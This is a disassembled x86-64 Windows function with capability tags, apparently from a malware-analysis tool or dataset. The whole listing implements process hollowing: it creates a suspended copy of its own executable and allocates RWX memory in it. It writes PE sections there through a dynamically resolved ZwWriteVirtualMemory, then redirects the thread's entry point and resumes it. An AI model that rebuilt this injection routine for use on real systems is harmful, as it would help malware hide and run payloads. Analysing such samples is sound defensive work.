Function at 0x140001540
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1890]
mov eax, 0x1990
call fcn.140003190
sub rsp, rax
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0x1880], rax
mov r13, r9
mov r12, rdx
mov rdi, rcx
mov r14d, 4
mov rax, qword gs:[0x58]
add r14, qword [rax]
mov ebx, 0x20
lea rsi, [0x140006bd0]
mov eax, dword [r14]
cmp dword [0x140006bc8], eax
jle 0x1400015e0
lea rcx, [0x140006bc8]
call fcn.1400021c8
cmp dword [0x140006bc8], 0xffffffff
jne 0x1400015e0
mov edx, ebx
mov rcx, rsi
call fcn.140001bf0
lea rcx, [0x140003390]
call fcn.1400024a4
nop
lea rcx, [0x140006bc8]
call fcn.14000215c
lea rbx, [0x140006ba8]
mov eax, dword [r14]
cmp dword [0x140006bcc], eax
jle 0x14000162d
lea rcx, [0x140006bcc]
call fcn.1400021c8
cmp dword [0x140006bcc], 0xffffffff
jne 0x14000162d
mov edx, 0x10
mov rcx, rbx
call fcn.140001bf0
lea rcx, [0x140003320]
call fcn.1400024a4
nop
lea rcx, [0x140006bcc]
call fcn.14000215c
cmp byte [0x140006ba0], 0
jne 0x140001683
cmp qword [0x140006be8], 0xf
cmova rsi, qword [0x140006bd0]
mov edx, dword [0x140006be0]
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x14000169e
cmp qword [0x140006bc0], 0xf
cmova rbx, qword [0x140006ba8]
mov edx, dword [0x140006bb8]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x14000169e
mov byte [0x140006ba0], 1
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1400016cd
lea rdx, str.Failed_to_get_handle_to_ntdll.dll.
jmp 0x1400016a5
lea rdx, str.Error_generating_key_or_IV.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001d00
mov rcx, rax
lea rdx, [0x140001ee0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, 0xffffffffffffffff
jmp 0x140001a8d
lea rdx, str.ZwWriteVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x1400016f0
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory.
jmp 0x1400016a5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x448], xmm0
mov qword [rbp + 0x458], rax
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x448]
call fcn.1400011c0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], rax
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x430]
call fcn.140001350
nop
mov rax, qword [rbp + 0x430]
mov r15, qword [rax]
mov r8d, 0x208
lea rdx, [rbp + 0x460]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000176e
mov rbx, 0xffffffffffffffff
xor r12d, r12d
jmp 0x1400019f1
xor edx, edx
mov r8d, 0x1208
lea rcx, [rbp + 0x670]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x460]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140001790
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x670]
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x20
mov word [rbp + rbx + 0x670], ax
movzx eax, word [r13]
mov word [rbp + rbx + 0x672], ax
movsxd r14, dword [0x1400060fc]
lea r13, [0x1400060c0]
add r14, r13
cmp dword [r14], 0x4550
je 0x1400017f4
mov ebx, 0xfffffffe
xor r12d, r12d
jmp 0x1400019f1
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r12
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x670]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000183e
mov ebx, 0xfffffffd
jmp 0x1400019f1
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x70], 0x10000b
lea rdx, [rsp + 0x60]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rdi]
test eax, eax
jne 0x140001882
mov edx, 0xfffffffc
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, 0xfffffffc
jmp 0x1400019f1
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r14 + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
mov rcx, qword [rdi]
test rax, rax
jne 0x1400018c0
mov edx, 0xfffffffb
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, 0xfffffffb
jmp 0x1400019f1
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r12
mov r8, r13
mov rdx, rax
call r15
test eax, eax
je 0x1400018ee
mov edx, 0xfffffffa
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, 0xfffffffa
jmp 0x1400019f1
mov rbx, r12
cmp r12w, word [r14 + 6]
jae 0x14000194a
mov rsi, r12
nop dword [rax + rax]
movsxd rax, dword [0x1400060fc]
add rax, rsi
mov r9d, dword [rax + r13 + 0x118]
mov r8d, dword [rax + r13 + 0x11c]
add r8, r13
mov edx, dword [rax + r13 + 0x114]
add rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], r12
mov rcx, qword [rdi]
call r15
test eax, eax
jne 0x140001981
inc rbx
add rsi, 0x28
movzx eax, word [r14 + 6]
cmp rbx, rax
jb 0x140001900
mov rdx, qword [rbp - 0x18]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [rdi]
call r15
test eax, eax
je 0x140001996
mov edx, 0xfffffff8
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, 0xfffffff8
jmp 0x1400019f1
mov edx, 0xfffffff9
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, 0xfffffff9
jmp 0x1400019f1
mov eax, dword [r14 + 0x28]
add rax, qword [rsp + 0x50]
mov qword [rbp - 0x20], rax
lea rdx, [rsp + 0x60]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400019cb
mov edx, 0xfffffff7
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, 0xfffffff7
jmp 0x1400019f1
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x1400019ee
mov edx, 0xfffffff6
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, 0xfffffff6
jmp 0x1400019f1
mov ebx, r12d
mov rcx, qword [rbp + 0x430]
test rcx, rcx
je 0x140001a47
mov rdx, qword [rbp + 0x440]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400024bc
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], r12
mov rcx, qword [rbp + 0x448]
test rcx, rcx
je 0x140001a8b
mov rdx, qword [rbp + 0x458]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400024bc
nop
mov eax, ebx
mov rcx, qword [rbp + 0x1880]
xor rcx, rsp
call fcn.140002100
mov rbx, qword [rsp + 0x19e0]
add rsp, 0x1990
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret